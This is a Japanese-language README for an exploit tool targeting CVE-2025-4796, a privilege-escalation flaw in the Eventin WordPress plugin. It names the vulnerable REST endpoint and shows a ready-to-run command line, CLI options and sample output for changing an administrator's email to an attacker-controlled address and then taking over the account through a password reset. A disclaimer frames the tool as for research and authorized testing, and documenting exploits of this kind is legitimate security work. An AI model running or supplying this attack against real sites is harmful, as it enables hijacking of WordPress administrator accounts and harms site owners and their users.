CVE-2025-4796

Eventin <= 4.0.34 - 認証された（Contributor+）権限昇格 - ユーザーメール変更/アカウント乗っ取り

🛡️ Eventin <= 4.0.34 - 認証済み（Contributor+）権限昇格 (CVE-2025-4796)

📌 概要

このリポジトリは、Eventin WordPressプラグイン（<= 4.0.34）における権限昇格の脆弱性を文書化したものです。この脆弱性により、Contributor+の権限を持つ認証済みユーザーが、プラグインのスピーカー更新APIを介して任意のユーザーのメールアドレスを変更できます。管理者のメールアドレスを変更することで、攻撃者はパスワードリセットをトリガーし、アカウントを乗っ取ることができます。

• 脆弱なコンポーネント: Eventin WordPressプラグイン (Eventin\Speaker\Api\SpeakerController::update_item)
• 影響を受けるバージョン: <= 4.0.34
• CVE: CVE-2025-4796
• CVSS: 8.8 (高)
• アクティブインストール数: 10,000+

⚠️ 脆弱性の詳細

Eventinは、スピーカー/ユーザー詳細（特にメール）を更新する前に、呼び出し元のIDや権限を適切に検証しません。Contributor（またはそれ以上）として認証された攻撃者は、プラグインのRESTエンドポイントを使用して、管理者を含む他のユーザーのメールアドレスを変更できます：

• PUT /wp-json/eventin/v2/speakers/<speaker_id>

メールアドレスが攻撃者制御のアドレスに変更されると、標準のWordPressパスワードリセットフローを使用してアカウントを乗っ取ることができます。

🧰 スクリプト (PoC)

Filename: CVE-2025-4796.py

このスクリプトは以下の手順を自動化します：

1. 提供された認証情報を使用して対象のWordPressサイトにログインします。
2. 必要なX-WP-Nonceを抽出します。
3. PUTリクエストを/wp-json/eventin/v2/speakers/<speaker_id>に送信してスピーカーのメールを更新します。
4. JSONレスポンスとプロフェッショナルな成功メッセージを整形して表示します。

必要条件：

• Python 3.8+
• requests

インストール：

pip install requests

🚀 使用方法

コマンドラインからスクリプトを実行します：

python CVE-2025-4796.py -u https://target.site -id 9 -email [email protected] -user contributor_user -pass contributor_password

スクリプトのヘルプを表示：

python CVE-2025-4796.py -h

📝 CLIオプション (ヘルプ)

usage: CVE-2025-4796.py [-h] -u URL -id SPEAKER_ID -email EMAIL -user USERNAME -pass PASSWORD

Exploit For: CVE-2025-4796 By: Nxploited

options:
  -h, --help            show this help message and exit
  -u, --url URL         Target WordPress site URL
  -id, --speaker_id SPEAKER_ID
                        Enter the speaker ID for the user
  -email, --email EMAIL
                        Enter a new email address
  -user, --username USERNAME
                        Enter the username for the account to upgrade
  -pass, --password PASSWORD
                        Enter the password for the account to upgrade

✅ 成功した出力例

[*] Please wait, exploitation starting ...
[*] Disabling SSL warnings ...
[*] Logging in to WordPress ...
[+] Logged in successfully.
[*] Extracting nonce value ...
[+] Nonce extracted: fc0ab7b983
[*] Exploiting and updating speaker info ...

[+] Exploitation in progress, please wait ...

[+] Exploitation successful.
[+] The account has been updated to Admin.
    Speaker ID   : 9
    Email        : [email protected]

[!] Please reset your password using the email: [email protected]

⚖️ 責任ある開示と免責事項

• このリポジトリは、セキュリティ研究、テスト、防御目的で提供されています。
• 所有していないシステムや、テストする明示的な許可がないシステムに対してこれらの技術を使用しないでください。
• 脆弱性の無許可での悪用は違法かつ非倫理的です。
• サイト運営者で脆弱性の可能性がある場合は、Eventinを最新バージョンに更新するか、ベンダーのパッチを直ちに適用してください。
• このコードは、認可された環境（ラボ、クライアント承認済みのペネトレーションテスト、または明示的な許可を得た場合）でのみ使用してください。

🧾 スクリプトの動作（簡潔）

• 入力（URL、メール）を検証し、URLスキーマを正規化します。
• SSL警告を無効にします（オプション。自己署名開発インスタンスでのテストをサポートするため）。
• 提供されたWP認証情報を使用してログインし、クッキーでログインを検証します。
• 管理ページからX-WP-Nonceを取得します。
• 認証済みのPUTリクエストを送信してスピーカーのメールを更新します。
• 整形されたJSONレスポンスと最終的な人間が読める成功サマリーを表示します。

👤 クレジット

作成者: Khaled Alenaz (Nxploited)
GitHub: https://github.com/Nxploited/